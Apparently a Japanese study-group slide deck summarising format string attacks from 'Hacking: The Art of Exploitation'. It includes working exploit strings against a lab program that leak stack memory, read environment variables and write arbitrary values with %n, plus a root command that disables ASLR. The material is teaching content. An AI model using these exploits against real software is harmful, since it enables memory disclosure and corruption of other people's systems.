SlideShare a Scribd company logo
1 of 21
Download to read offline
Hacking: 美しき策謀
0x351-0x354 レジュメ
2013-04-13 低レベル勉強会
チーム B
概要
• 攻撃の対象
– printf 関数を誤用しているプログラム
• 攻撃手法
– 入力した攻撃用文字列が printf の書式文字列と
して使われるように細工する
– %n などの書式指定子を悪用して、メモリの中身を
見たり、メモリを書き換えたりする
1
前提
• Linux x86 (32bit)
• 最近のカーネルのセキュリティ機能 (アドレス空
間配置ランダム化など) をあらかじめ切っておく
• 具体的なアドレス等は、宮川の環境で試したも
のです。テキストとは異なるので注意して下さい
2
$ # Xubuntu 12.04 LTS の場合
$ sudo -i
# echo 0 >/proc/sys/kernel/randomize_va_space
目次
• 0x351 フォーマットパラメータ
• 0x352 フォーマット文字列を利用した攻撃
• 0x353 任意のメモリアドレスから読み込みを行う
• 0x354 任意のメモリアドレスに書き込みを行う
3
0x351 printf 関数の使い方
• int printf(const char *format, ...);
• 最初の引数 format が書式文字列
(例: "No. %d is %s¥n")
• 書式指定子に対応する引数の値を表示
4
int num = 42;
const char *name = "John Doe";
printf("No. %d is %s¥n", num, name);
// => No. 42 is John Doe
0x351 printf の書式指定子の例
書式指定子 対応する引数の型 意味
%d int 符号付き十進数として表示
%x int 符号なし十六進数として表示
%08x int 符号なし十六進数として表示。8桁未満の
場合は左ゼロ詰め (例: 00000abc)
%s const char * 指定されたアドレスから始まる文字列を表
示
%n int * 指定されたアドレスに「これまで出力された
バイト数」を格納。何も出力しない
5
0x351 printf 使用時のメモリイメージ
6
int main(void) {
int num = 0xcafe, count;
printf("Num %d%n¥n", num, &count); // 下図はこの呼び出し時点
return 0;
}
12341234 "Num " = 0x206d754e
12341238 "%d%n" = 0x6e256425
1234123c "¥n¥0??" = 0x????000a
babe0000 (printf のローカル変数とか)
babe0004 書式文字列のアドレス: 0x12341234
babe0008 0x0000cafe
babe000c count のアドレス: 0xbabe0010
babe0010 変数 count
babe0014 変数num: 0x0000cafe
babe0018 (main の呼び出し元のローカル変数とか)
書式文字列 "Num %d%n¥n"
4 バイトずつ整数として見
ると、順番がひっくり返っ
て見える。 x86 はリトルエ
ンディアンだから
スタック
※ 変数をレジスタ化したり、レジスタを退避したりするので、実際の
メモリ配置とは違うはずです。だいたいの絵だと思ってください
0x351 書式文字列と引数の不一致
• 書式指定子の数が後続の引数より多いと、不
明な値が表示されてしまう
7
// p. 195 のリスト
int A = 5, B = 7;
printf("A: %d addrA: %08x B: %x¥n", A, &A);
// => A: 5 addrA: bf4219ad B: bcda2fd2
"A: %d addrA: %08x B: %x¥n" のアドレス
5
Aのアドレス: 0xbf4219ad
不明な値: 0xbcda2fd2
不明な値: main の戻りアドレスとか
%x に対応する位置にある不明
な値が表示されてしまう
%x に対応する引数が無い
スタック
0x352 攻撃のアイディア
• fgets(stdin, str, 100); printf(str); のように、入
力された文字列を printf の書式文字列にその
まま渡す行儀の悪いプログラムが攻撃対象
• 攻撃者は、書式指定子 (%08x) を含む文字列
を入力して、スタックの先頭付近を盗み見る
8
0x352 スタック先頭付近を盗み見る
9
// p. 196 攻撃対象 fmt_vuln.c の中で、問題の部分を抜粋
char text[1024]; // ローカル変数なのでスタック上に確保される
strcpy(text, argv[1]);
printf(text);
$ ./fmt_vuln `perl -e 'print "%08x." x 40'`
...
bfffed6c.6474e552.0011965d.00145baf.001105dc.00001e40.bffff214.bfffefbc.00000000.00
000001.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.302
52e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.7838
3025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7
838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.
...
%08x.%08x.%08x... という文字列を
生成して渡している
text のアドレス
... 退避レジスタ等 ...
text: "%08x" = 0x78383025
text + 4: ".%08" = 0x3830252e
text + 8: "x.%0" = 0x30252e78
スタックの底の方を、 %08x に対応
する値として表示させている。底の方
には main のローカル変数 text の実
体があるので、書式文字列自体が
16 進数の並びとして表示される
スタック
0x353 攻撃のアイディア
• 攻撃対象は 0x352 と同様、ユーザの入力を
printf の書式文字列として使うプログラム
• 攻撃者は、次のような文字列を入力して、任
意のアドレス以降のメモリの内容を文字列とし
て表示させる
10
"<対象のアドレス (4バイト)>%08x%08x...%08x%s"
対象のアドレスが格納されている位置
を %s に対応させるため、 %08x を埋め
草として調節
0x353 必要な埋草の数を調べる
• %08x の数を調節して、次のような出力を得る
11
$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
...
AAAAbfffedfc.6474e552.0011965d.00145baf.001105dc.00001e40.bffff2a4.bffff04c.000000
00.00000001.41414141
...
%08x → text - 8: 0x00000000
%08x → text - 4: 0x00000001
%08x → text: "AAAA" = 0x41414141
最後の %08x がここに対応
スタック
0x353 任意のメモリ内容を表示
• 前ページのコマンドから次の箇所を変更
– "AAAA" → 対象のアドレス
– 最後の %08x → %s
12
$ ./fmt_vuln `printf "¥x8c¥xfc¥xff¥xbf"`%08x.%08x.(省略).%08x.%08x.%08x.%08x.%s
...
����bfffedfc.6474e552.0011965d.00145baf.001105dc.00001e40.bffff2a4.bffff04c.000
00000.00000001./home/taku/bin:/usr/local/bin:/usr/bin:/bin
...
今回はあらかじめ調べた
PATH 環境変数のアドレス
%08x → text - 8: 0x00000000
%08x → text - 4: 0x00000001
%s → text: "¥x8c¥xfc¥xff¥xbf" = 0xbffffc8c
bffffc8c "/hom"
bffffc90 "e/ta"
bffffc94 "ku/b"
... ...
PATH 環境変数スタック
%s は対応する値を文字列のアドレスとみなし、
その文字列 (ここでは $PATH) を表示する
$PATH の内容
0x354 攻撃のアイディア
• 攻撃対象は 0x352, 0x353 と同様、ユーザ入
力を printf の書式文字列として使うプログラム
• 攻撃者は、次のような文字列を入力して、任
意のアドレスにデータを書き込む
13
"<対象のアドレス (4バイト)>%x%x...%042x%n"
• 対象のアドレスが格納されている位置を %n に対応させるた
め、 %x を埋め草として調節
• 目的の数値を得るため、 %042x のように出力バイト数を調
節。 %n 直前までの出力バイト数が対象のアドレスに書き込まれる
※ テキストでは %42x とスペース埋めですが、分かり易さのため、 0 埋めに変更しています
0x354 任意位置に書き込み (1/6)
• 0x353 のコマンドから次の箇所を変更
– 先頭 4 バイト → 書き込み先アドレス
– 最後の %s → %n
14
今回はあらかじめ調べた
test_val 変数のアドレス
$ ./fmt_vuln `printf "¥x24¥xa0¥x04¥x08"`%08x.%08x.(省略).%08x.%08x.%08x.%08x.%n
...
��bfffedfc.6474e552.0011965d.00145baf.001105dc.00001e40.bffff2a4.bffff04c.0000000
0.00000001.
[*] test_val @ 0x0804a024 = 94 0x0000005e
%08x → text - 8: 0x00000000
%08x → text - 4: 0x00000001
%n → text: "¥x24¥xa0¥x04¥x08" = 0x0804a024
スタック
0804a024 94 = 0x0000005e
test_val 変数
%n は対応する値を int 値のアドレスとみなし、その
アドレスに、そこまでに表示したバイト数を書き込む
94 バイト出力
0x354 任意位置に書き込み (2/6)
• 0 埋めの数を調節することで、出力文字数を
調節し、書き込むデータが制御できる
15
$ ./fmt_vuln `printf "¥x24¥xa0¥x04¥x08"`%x.%x.%x.%x.%x.%x.%x.%x.%x.%031x.%n
...
��bfffee0c.6474e552.11965d.145baf.1105dc.1e40.bffff2b4.bffff05c.0.000000000000000
0000000000000001.
[*] test_val @ 0x0804a024 = 100 0x00000064
%x → text - 8: 0x0
%031x → text - 4: 0x0000...00001
%n → text: "¥x24¥xa0¥x04¥x08" = 0x0804a024
スタック
0804a024 100 = 0x00000064
test_val 変数
100 バイト出力
0x354 任意位置に書き込み (3/6)
• この手法の問題点
– 現実的には、比較的小さな、正の値しか書き込め
ない
– たとえば、100000000 という値を書き込もうと思っ
たら、 100000000 文字出力する必要がある
→ 事実上不可能
16
0x354 任意位置に書き込み (4/6)
• 解決策: 大きな値は 1 バイトずつ複数回書き込む
• 例: test_val に 0xddccbbaa を書き込む
17
① 170 = 0xaa バイト出力
② %n で 0804a024 に 0xaa を書き込み AA 00 00 00
③ 17 バイト出力 (通算 0xbb バイト出力)
④ %n で 0804a025 に 0xbb を書き込み BB 00 00 00
⑤ 17 バイト出力 (通算 0xcc バイト出力)
⑥ %n で 0804a026 に 0xcc を書き込み CC 00 00 00
⑦ 17 バイト出力 (通算 0xdd バイト出力)
⑧ %n で 0804a027 に 0xdd を書き込み DD 00 00 00
最終的な test_val = 0xddccbbaa AA BB CC DD
↓ test_val の先頭 (0804a024)
0x354 任意位置に書き込み (5/6)
• %n と %n の間に %017x を挟んで出力バイト
数を加算する
18
$ ./fmt_vuln `printf "¥x24¥xa0¥x04¥x08JUNK¥x25¥xa0¥x04¥x08JUNK¥x26¥xa0¥x04¥x08JU
NK¥x27¥xa0¥x04¥x08"`%x.%x.%x.%x.%x.%x.%x.%x.%x.%077x.%n%017x%n%017x%n%017x%n
...
��JUNK%�JUNK&�JUNK'�bfffeddc.6474e552.11965d.145baf.1105dc.1e40.bffff284.bffff02c.
0.000<...省略...>000001.0000000004b4e554a0000000004b4e554a0000000004b4e554a
[*] test_val @ 0x0804a024 = -573785174 0xddccbbaa
%x → text - 8: 0x00000000
%077x → text - 4: 0x0000...000001
%n → text: "¥x24¥xa0¥x04¥x08" = 0x0804a024
%017x → text + 4: "JUNK" = 0x0000000004b4e554a
%n → text + 8: "¥x25¥xa0¥x04¥x08" = 0x0804a025
...
スタック
"IMHO" でも "ASAP" でも、
4 バイトならなんでも OK
0x354 任意位置に書き込み (6/6)
• 例: test_val に 0x0806abcd を書き込む
• 隣り合うバイト間の増分が cd, ab の様にマイナスだったり、 06,
08 の様に小さかったりする
→ 増分に加えて 256 (0x100) 文字余計に書き込む
19
① 205 = 0xcd バイト出力
② %n で 0804a024 に 0xcd を書き込み CD 00 00 00
③ 222 バイト出力 (通算 0x1ab バイト出力)
④ %n で 0804a025 に 0x1ab を書き込み AB 01 00 00
⑤ 91 バイト出力 (通算 0x206 バイト出力)
⑥ %n で 0804a026 に 0x206 を書き込み 06 02 00 00
⑦ 258 バイト出力 (通算 0x308 バイト出力)
⑧ %n で 0804a027 に 0x308 を書き込み 08 03 00 00
最終的な test_val = 0x0806abcd CD AB 06 08 (03) (00) (00)
↓ test_val の先頭 (0804a024)
余計な上位バイトは
後で上書きされる
実現性について考察 (宮川)
• アドレス空間配置のランダム化が有効な場合、
0x353, 0x354 の攻撃は難易度が上がる。しか
し、当たりをつけておいて、多くの試行を繰り返
すことで、突破は可能と思われる
• x86_64 では、 0x353, 0x354 の攻撃はおそらく
不可能。ユーザ空間のアドレスが
0 ~ 0x00007fffffffffff であり、上位バイトに必
ず 0 が存在するため、文字列として渡すことが
できない (C の文字列は 0 終止)
20

More Related Content

What's hot

Freer Monads, More Extensible Effects
Freer Monads, More Extensible EffectsFreer Monads, More Extensible Effects
Freer Monads, More Extensible EffectsHiromi Ishii
 
Effective Modern C++ 勉強会#1 Item3,4
Effective Modern C++ 勉強会#1 Item3,4Effective Modern C++ 勉強会#1 Item3,4
Effective Modern C++ 勉強会#1 Item3,4Takashi Hoshino
 
kagamicomput201807
kagamicomput201807kagamicomput201807
kagamicomput201807swkagami
 
Java オブジェクトの内部構造
Java オブジェクトの内部構造Java オブジェクトの内部構造
Java オブジェクトの内部構造Taku Miyakawa
 
kagami_comput2015_7
kagami_comput2015_7kagami_comput2015_7
kagami_comput2015_7swkagami
 
Extensible Eff Applicative
Extensible Eff ApplicativeExtensible Eff Applicative
Extensible Eff ApplicativeSanshiro Yoshida
 
Ruby初級者向けレッスン 55回 ─── 例外
Ruby初級者向けレッスン 55回 ─── 例外Ruby初級者向けレッスン 55回 ─── 例外
Ruby初級者向けレッスン 55回 ─── 例外higaki
 
Haskell超初心者勉強会14
Haskell超初心者勉強会14Haskell超初心者勉強会14
Haskell超初心者勉強会14Takashi Kawachi
 

What's hot (17)

Freer Monads, More Extensible Effects
Freer Monads, More Extensible EffectsFreer Monads, More Extensible Effects
Freer Monads, More Extensible Effects
 
Effective Modern C++ 勉強会#1 Item3,4
Effective Modern C++ 勉強会#1 Item3,4Effective Modern C++ 勉強会#1 Item3,4
Effective Modern C++ 勉強会#1 Item3,4
 
Haskell Lecture 2
Haskell Lecture 2Haskell Lecture 2
Haskell Lecture 2
 
kagamicomput201807
kagamicomput201807kagamicomput201807
kagamicomput201807
 
C言語講習会1
C言語講習会1C言語講習会1
C言語講習会1
 
Nfc lab8月定例会
Nfc lab8月定例会Nfc lab8月定例会
Nfc lab8月定例会
 
Sml#探検隊
Sml#探検隊Sml#探検隊
Sml#探検隊
 
Java オブジェクトの内部構造
Java オブジェクトの内部構造Java オブジェクトの内部構造
Java オブジェクトの内部構造
 
大人のお型付け
大人のお型付け大人のお型付け
大人のお型付け
 
kagami_comput2015_7
kagami_comput2015_7kagami_comput2015_7
kagami_comput2015_7
 
Emcjp item21
Emcjp item21Emcjp item21
Emcjp item21
 
Extensible Eff Applicative
Extensible Eff ApplicativeExtensible Eff Applicative
Extensible Eff Applicative
 
Ruby初級者向けレッスン 55回 ─── 例外
Ruby初級者向けレッスン 55回 ─── 例外Ruby初級者向けレッスン 55回 ─── 例外
Ruby初級者向けレッスン 55回 ─── 例外
 
MP in Scala
MP in ScalaMP in Scala
MP in Scala
 
MP in Haskell
MP in HaskellMP in Haskell
MP in Haskell
 
ポインタの勉強資料
ポインタの勉強資料ポインタの勉強資料
ポインタの勉強資料
 
Haskell超初心者勉強会14
Haskell超初心者勉強会14Haskell超初心者勉強会14
Haskell超初心者勉強会14
 

Viewers also liked

Kink: プロトタイプベースの俺々 JVM 言語
Kink: プロトタイプベースの俺々 JVM 言語Kink: プロトタイプベースの俺々 JVM 言語
Kink: プロトタイプベースの俺々 JVM 言語Taku Miyakawa
 
擬似乱数生成器の評価
擬似乱数生成器の評価擬似乱数生成器の評価
擬似乱数生成器の評価Taku Miyakawa
 
Matrix Multiplication in Strassen Algorithm
Matrix Multiplication in Strassen AlgorithmMatrix Multiplication in Strassen Algorithm
Matrix Multiplication in Strassen AlgorithmTaku Miyakawa
 
Kink: invokedynamic on a prototype-based language
Kink: invokedynamic on a prototype-based languageKink: invokedynamic on a prototype-based language
Kink: invokedynamic on a prototype-based languageTaku Miyakawa
 
コルーチンの実装について
コルーチンの実装についてコルーチンの実装について
コルーチンの実装についてTaku Miyakawa
 
Quasar: Actor Model and Light Weight Threads on Java
Quasar: Actor Model and Light Weight Threads on JavaQuasar: Actor Model and Light Weight Threads on Java
Quasar: Actor Model and Light Weight Threads on JavaTaku Miyakawa
 
金勘定のためのBigDecimalそしてMoney and Currency API
金勘定のためのBigDecimalそしてMoney and Currency API金勘定のためのBigDecimalそしてMoney and Currency API
金勘定のためのBigDecimalそしてMoney and Currency APITaku Miyakawa
 
Garbage First Garbage Collection (G1 GC) #jjug_ccc #ccc_cd6
Garbage First Garbage Collection (G1 GC) #jjug_ccc #ccc_cd6Garbage First Garbage Collection (G1 GC) #jjug_ccc #ccc_cd6
Garbage First Garbage Collection (G1 GC) #jjug_ccc #ccc_cd6Yuji Kubota
 
Javaのログ出力: 道具と考え方
Javaのログ出力: 道具と考え方Javaのログ出力: 道具と考え方
Javaのログ出力: 道具と考え方Taku Miyakawa
 
Prepare for Java 9 #jjug
Prepare for Java 9 #jjugPrepare for Java 9 #jjug
Prepare for Java 9 #jjugYuji Kubota
 
楽して JVM を学びたい #jjug
楽して JVM を学びたい #jjug楽して JVM を学びたい #jjug
楽して JVM を学びたい #jjugYuji Kubota
 
Graph Algorithms Part 1
Graph Algorithms Part 1Graph Algorithms Part 1
Graph Algorithms Part 1Taku Miyakawa
 
言語設計者が意味論を書くときに考えていたこと
言語設計者が意味論を書くときに考えていたこと言語設計者が意味論を書くときに考えていたこと
言語設計者が意味論を書くときに考えていたことTaku Miyakawa
 
Java SE 9の紹介: モジュール・システムを中心に
Java SE 9の紹介: モジュール・システムを中心にJava SE 9の紹介: モジュール・システムを中心に
Java SE 9の紹介: モジュール・システムを中心にTaku Miyakawa
 

Viewers also liked (16)

Kink の宣伝
Kink の宣伝Kink の宣伝
Kink の宣伝
 
Hadoop jobbuilder
Hadoop jobbuilderHadoop jobbuilder
Hadoop jobbuilder
 
Kink: プロトタイプベースの俺々 JVM 言語
Kink: プロトタイプベースの俺々 JVM 言語Kink: プロトタイプベースの俺々 JVM 言語
Kink: プロトタイプベースの俺々 JVM 言語
 
擬似乱数生成器の評価
擬似乱数生成器の評価擬似乱数生成器の評価
擬似乱数生成器の評価
 
Matrix Multiplication in Strassen Algorithm
Matrix Multiplication in Strassen AlgorithmMatrix Multiplication in Strassen Algorithm
Matrix Multiplication in Strassen Algorithm
 
Kink: invokedynamic on a prototype-based language
Kink: invokedynamic on a prototype-based languageKink: invokedynamic on a prototype-based language
Kink: invokedynamic on a prototype-based language
 
コルーチンの実装について
コルーチンの実装についてコルーチンの実装について
コルーチンの実装について
 
Quasar: Actor Model and Light Weight Threads on Java
Quasar: Actor Model and Light Weight Threads on JavaQuasar: Actor Model and Light Weight Threads on Java
Quasar: Actor Model and Light Weight Threads on Java
 
金勘定のためのBigDecimalそしてMoney and Currency API
金勘定のためのBigDecimalそしてMoney and Currency API金勘定のためのBigDecimalそしてMoney and Currency API
金勘定のためのBigDecimalそしてMoney and Currency API
 
Garbage First Garbage Collection (G1 GC) #jjug_ccc #ccc_cd6
Garbage First Garbage Collection (G1 GC) #jjug_ccc #ccc_cd6Garbage First Garbage Collection (G1 GC) #jjug_ccc #ccc_cd6
Garbage First Garbage Collection (G1 GC) #jjug_ccc #ccc_cd6
 
Javaのログ出力: 道具と考え方
Javaのログ出力: 道具と考え方Javaのログ出力: 道具と考え方
Javaのログ出力: 道具と考え方
 
Prepare for Java 9 #jjug
Prepare for Java 9 #jjugPrepare for Java 9 #jjug
Prepare for Java 9 #jjug
 
楽して JVM を学びたい #jjug
楽して JVM を学びたい #jjug楽して JVM を学びたい #jjug
楽して JVM を学びたい #jjug
 
Graph Algorithms Part 1
Graph Algorithms Part 1Graph Algorithms Part 1
Graph Algorithms Part 1
 
言語設計者が意味論を書くときに考えていたこと
言語設計者が意味論を書くときに考えていたこと言語設計者が意味論を書くときに考えていたこと
言語設計者が意味論を書くときに考えていたこと
 
Java SE 9の紹介: モジュール・システムを中心に
Java SE 9の紹介: モジュール・システムを中心にJava SE 9の紹介: モジュール・システムを中心に
Java SE 9の紹介: モジュール・システムを中心に
 

Similar to Summary of "Hacking", 0x351-0x354

SSE4.2の文字列処理命令の紹介
SSE4.2の文字列処理命令の紹介SSE4.2の文字列処理命令の紹介
SSE4.2の文字列処理命令の紹介MITSUNARI Shigeo
 
中3女子でもわかる constexpr
中3女子でもわかる constexpr中3女子でもわかる constexpr
中3女子でもわかる constexprGenya Murakami
 
C++11概要 ライブラリ編
C++11概要 ライブラリ編C++11概要 ライブラリ編
C++11概要 ライブラリ編egtra
 
Javaセキュアコーディングセミナー東京第2回講義
Javaセキュアコーディングセミナー東京第2回講義Javaセキュアコーディングセミナー東京第2回講義
Javaセキュアコーディングセミナー東京第2回講義JPCERT Coordination Center
 
mruby搭載ボードGR-CITRUSのRubyファームVer2.35の説明
mruby搭載ボードGR-CITRUSのRubyファームVer2.35の説明mruby搭載ボードGR-CITRUSのRubyファームVer2.35の説明
mruby搭載ボードGR-CITRUSのRubyファームVer2.35の説明三七男 山本
 
Exploring the x64
Exploring the x64Exploring the x64
Exploring the x64FFRI, Inc.
 
as-4. 条件分岐と繰り返し
as-4. 条件分岐と繰り返しas-4. 条件分岐と繰り返し
as-4. 条件分岐と繰り返しkunihikokaneko1
 
How to read SWF
How to read SWFHow to read SWF
How to read SWFYo Ya
 
C++0x 言語の未来を語る
C++0x 言語の未来を語るC++0x 言語の未来を語る
C++0x 言語の未来を語るAkira Takahashi
 
20191005LT会用 CTF writeup(pwn)
20191005LT会用 CTF writeup(pwn)20191005LT会用 CTF writeup(pwn)
20191005LT会用 CTF writeup(pwn)tecsk07
 
C言語ポインタ講座 (Lecture of Pointer in C)
C言語ポインタ講座 (Lecture of Pointer in C)C言語ポインタ講座 (Lecture of Pointer in C)
C言語ポインタ講座 (Lecture of Pointer in C)kakira9618
 
Polyphony の行く末(2018/3/3)
Polyphony の行く末(2018/3/3)Polyphony の行く末(2018/3/3)
Polyphony の行く末(2018/3/3)ryos36
 
とあるFlashの自動生成
とあるFlashの自動生成とあるFlashの自動生成
とあるFlashの自動生成Akineko Shimizu
 
kagami_comput2015_6
kagami_comput2015_6kagami_comput2015_6
kagami_comput2015_6swkagami
 
as-5. サブルーチン呼び出しのメカニズム
as-5. サブルーチン呼び出しのメカニズムas-5. サブルーチン呼び出しのメカニズム
as-5. サブルーチン呼び出しのメカニズムkunihikokaneko1
 
asm.js x emscripten: The foundation of the next level Web games
asm.js x emscripten: The foundation of the next level Web gamesasm.js x emscripten: The foundation of the next level Web games
asm.js x emscripten: The foundation of the next level Web gamesNoritada Shimizu
 
つくってあそぼ ラムダ計算インタプリタ
つくってあそぼ ラムダ計算インタプリタつくってあそぼ ラムダ計算インタプリタ
つくってあそぼ ラムダ計算インタプリタ京大 マイコンクラブ
 
[第2版]Python機械学習プログラミング 第8章
[第2版]Python機械学習プログラミング 第8章[第2版]Python機械学習プログラミング 第8章
[第2版]Python機械学習プログラミング 第8章Haruki Eguchi
 

Similar to Summary of "Hacking", 0x351-0x354 (20)

SSE4.2の文字列処理命令の紹介
SSE4.2の文字列処理命令の紹介SSE4.2の文字列処理命令の紹介
SSE4.2の文字列処理命令の紹介
 
中3女子でもわかる constexpr
中3女子でもわかる constexpr中3女子でもわかる constexpr
中3女子でもわかる constexpr
 
C++11概要 ライブラリ編
C++11概要 ライブラリ編C++11概要 ライブラリ編
C++11概要 ライブラリ編
 
Boost tour 1.60.0 merge
Boost tour 1.60.0 mergeBoost tour 1.60.0 merge
Boost tour 1.60.0 merge
 
Javaセキュアコーディングセミナー東京第2回講義
Javaセキュアコーディングセミナー東京第2回講義Javaセキュアコーディングセミナー東京第2回講義
Javaセキュアコーディングセミナー東京第2回講義
 
mruby搭載ボードGR-CITRUSのRubyファームVer2.35の説明
mruby搭載ボードGR-CITRUSのRubyファームVer2.35の説明mruby搭載ボードGR-CITRUSのRubyファームVer2.35の説明
mruby搭載ボードGR-CITRUSのRubyファームVer2.35の説明
 
Exploring the x64
Exploring the x64Exploring the x64
Exploring the x64
 
as-4. 条件分岐と繰り返し
as-4. 条件分岐と繰り返しas-4. 条件分岐と繰り返し
as-4. 条件分岐と繰り返し
 
Prosym2012
Prosym2012Prosym2012
Prosym2012
 
How to read SWF
How to read SWFHow to read SWF
How to read SWF
 
C++0x 言語の未来を語る
C++0x 言語の未来を語るC++0x 言語の未来を語る
C++0x 言語の未来を語る
 
20191005LT会用 CTF writeup(pwn)
20191005LT会用 CTF writeup(pwn)20191005LT会用 CTF writeup(pwn)
20191005LT会用 CTF writeup(pwn)
 
C言語ポインタ講座 (Lecture of Pointer in C)
C言語ポインタ講座 (Lecture of Pointer in C)C言語ポインタ講座 (Lecture of Pointer in C)
C言語ポインタ講座 (Lecture of Pointer in C)
 
Polyphony の行く末(2018/3/3)
Polyphony の行く末(2018/3/3)Polyphony の行く末(2018/3/3)
Polyphony の行く末(2018/3/3)
 
とあるFlashの自動生成
とあるFlashの自動生成とあるFlashの自動生成
とあるFlashの自動生成
 
kagami_comput2015_6
kagami_comput2015_6kagami_comput2015_6
kagami_comput2015_6
 
as-5. サブルーチン呼び出しのメカニズム
as-5. サブルーチン呼び出しのメカニズムas-5. サブルーチン呼び出しのメカニズム
as-5. サブルーチン呼び出しのメカニズム
 
asm.js x emscripten: The foundation of the next level Web games
asm.js x emscripten: The foundation of the next level Web gamesasm.js x emscripten: The foundation of the next level Web games
asm.js x emscripten: The foundation of the next level Web games
 
つくってあそぼ ラムダ計算インタプリタ
つくってあそぼ ラムダ計算インタプリタつくってあそぼ ラムダ計算インタプリタ
つくってあそぼ ラムダ計算インタプリタ
 
[第2版]Python機械学習プログラミング 第8章
[第2版]Python機械学習プログラミング 第8章[第2版]Python機械学習プログラミング 第8章
[第2版]Python機械学習プログラミング 第8章
 

Summary of "Hacking", 0x351-0x354

  • 2. 概要 • 攻撃の対象 – printf 関数を誤用しているプログラム • 攻撃手法 – 入力した攻撃用文字列が printf の書式文字列と して使われるように細工する – %n などの書式指定子を悪用して、メモリの中身を 見たり、メモリを書き換えたりする 1
  • 3. 前提 • Linux x86 (32bit) • 最近のカーネルのセキュリティ機能 (アドレス空 間配置ランダム化など) をあらかじめ切っておく • 具体的なアドレス等は、宮川の環境で試したも のです。テキストとは異なるので注意して下さい 2 $ # Xubuntu 12.04 LTS の場合 $ sudo -i # echo 0 >/proc/sys/kernel/randomize_va_space
  • 4. 目次 • 0x351 フォーマットパラメータ • 0x352 フォーマット文字列を利用した攻撃 • 0x353 任意のメモリアドレスから読み込みを行う • 0x354 任意のメモリアドレスに書き込みを行う 3
  • 5. 0x351 printf 関数の使い方 • int printf(const char *format, ...); • 最初の引数 format が書式文字列 (例: "No. %d is %s¥n") • 書式指定子に対応する引数の値を表示 4 int num = 42; const char *name = "John Doe"; printf("No. %d is %s¥n", num, name); // => No. 42 is John Doe
  • 6. 0x351 printf の書式指定子の例 書式指定子 対応する引数の型 意味 %d int 符号付き十進数として表示 %x int 符号なし十六進数として表示 %08x int 符号なし十六進数として表示。8桁未満の 場合は左ゼロ詰め (例: 00000abc) %s const char * 指定されたアドレスから始まる文字列を表 示 %n int * 指定されたアドレスに「これまで出力された バイト数」を格納。何も出力しない 5
  • 7. 0x351 printf 使用時のメモリイメージ 6 int main(void) { int num = 0xcafe, count; printf("Num %d%n¥n", num, &count); // 下図はこの呼び出し時点 return 0; } 12341234 "Num " = 0x206d754e 12341238 "%d%n" = 0x6e256425 1234123c "¥n¥0??" = 0x????000a babe0000 (printf のローカル変数とか) babe0004 書式文字列のアドレス: 0x12341234 babe0008 0x0000cafe babe000c count のアドレス: 0xbabe0010 babe0010 変数 count babe0014 変数num: 0x0000cafe babe0018 (main の呼び出し元のローカル変数とか) 書式文字列 "Num %d%n¥n" 4 バイトずつ整数として見 ると、順番がひっくり返っ て見える。 x86 はリトルエ ンディアンだから スタック ※ 変数をレジスタ化したり、レジスタを退避したりするので、実際の メモリ配置とは違うはずです。だいたいの絵だと思ってください
  • 8. 0x351 書式文字列と引数の不一致 • 書式指定子の数が後続の引数より多いと、不 明な値が表示されてしまう 7 // p. 195 のリスト int A = 5, B = 7; printf("A: %d addrA: %08x B: %x¥n", A, &A); // => A: 5 addrA: bf4219ad B: bcda2fd2 "A: %d addrA: %08x B: %x¥n" のアドレス 5 Aのアドレス: 0xbf4219ad 不明な値: 0xbcda2fd2 不明な値: main の戻りアドレスとか %x に対応する位置にある不明 な値が表示されてしまう %x に対応する引数が無い スタック
  • 9. 0x352 攻撃のアイディア • fgets(stdin, str, 100); printf(str); のように、入 力された文字列を printf の書式文字列にその まま渡す行儀の悪いプログラムが攻撃対象 • 攻撃者は、書式指定子 (%08x) を含む文字列 を入力して、スタックの先頭付近を盗み見る 8
  • 10. 0x352 スタック先頭付近を盗み見る 9 // p. 196 攻撃対象 fmt_vuln.c の中で、問題の部分を抜粋 char text[1024]; // ローカル変数なのでスタック上に確保される strcpy(text, argv[1]); printf(text); $ ./fmt_vuln `perl -e 'print "%08x." x 40'` ... bfffed6c.6474e552.0011965d.00145baf.001105dc.00001e40.bffff214.bfffefbc.00000000.00 000001.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.302 52e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.7838 3025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7 838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830. ... %08x.%08x.%08x... という文字列を 生成して渡している text のアドレス ... 退避レジスタ等 ... text: "%08x" = 0x78383025 text + 4: ".%08" = 0x3830252e text + 8: "x.%0" = 0x30252e78 スタックの底の方を、 %08x に対応 する値として表示させている。底の方 には main のローカル変数 text の実 体があるので、書式文字列自体が 16 進数の並びとして表示される スタック
  • 11. 0x353 攻撃のアイディア • 攻撃対象は 0x352 と同様、ユーザの入力を printf の書式文字列として使うプログラム • 攻撃者は、次のような文字列を入力して、任 意のアドレス以降のメモリの内容を文字列とし て表示させる 10 "<対象のアドレス (4バイト)>%08x%08x...%08x%s" 対象のアドレスが格納されている位置 を %s に対応させるため、 %08x を埋め 草として調節
  • 12. 0x353 必要な埋草の数を調べる • %08x の数を調節して、次のような出力を得る 11 $ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x ... AAAAbfffedfc.6474e552.0011965d.00145baf.001105dc.00001e40.bffff2a4.bffff04c.000000 00.00000001.41414141 ... %08x → text - 8: 0x00000000 %08x → text - 4: 0x00000001 %08x → text: "AAAA" = 0x41414141 最後の %08x がここに対応 スタック
